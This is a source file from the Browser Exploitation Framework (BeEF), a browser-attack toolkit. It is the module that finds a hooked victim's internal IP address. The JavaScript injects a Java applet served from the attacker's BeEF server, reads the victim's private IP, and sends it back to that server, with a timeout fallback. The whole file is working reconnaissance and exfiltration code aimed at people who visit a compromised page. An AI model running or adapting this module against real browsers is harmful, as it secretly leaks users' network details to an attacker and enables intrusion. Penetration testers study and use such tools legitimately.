Files
beef/modules/host/get_internal_ip_java/command.js
2020-01-01 18:47:08 -08:00

36 lines
1.0 KiB
JavaScript
Executable File

//
// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var applet_uri = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/';
var internal_counter = 0;
var timeout = 30;
var output;
beef.dom.attachApplet('get_internal_ip', 'get_internal_ip', 'get_internal_ip' ,
applet_uri, null, null);
function waituntilok() {
try {
output = document.get_internal_ip.ip();
beef.net.send('<%= @command_url %>', <%= @command_id %>, output);
beef.dom.detachApplet('get_internal_ip');
return;
} catch (e) {
internal_counter++;
if (internal_counter > timeout) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Timeout after '+timeout+' seconds');
beef.dom.detachApplet('get_internal_ip');
return;
}
setTimeout(function() {waituntilok()},1000);
}
}
setTimeout(function() {waituntilok()},5000);
});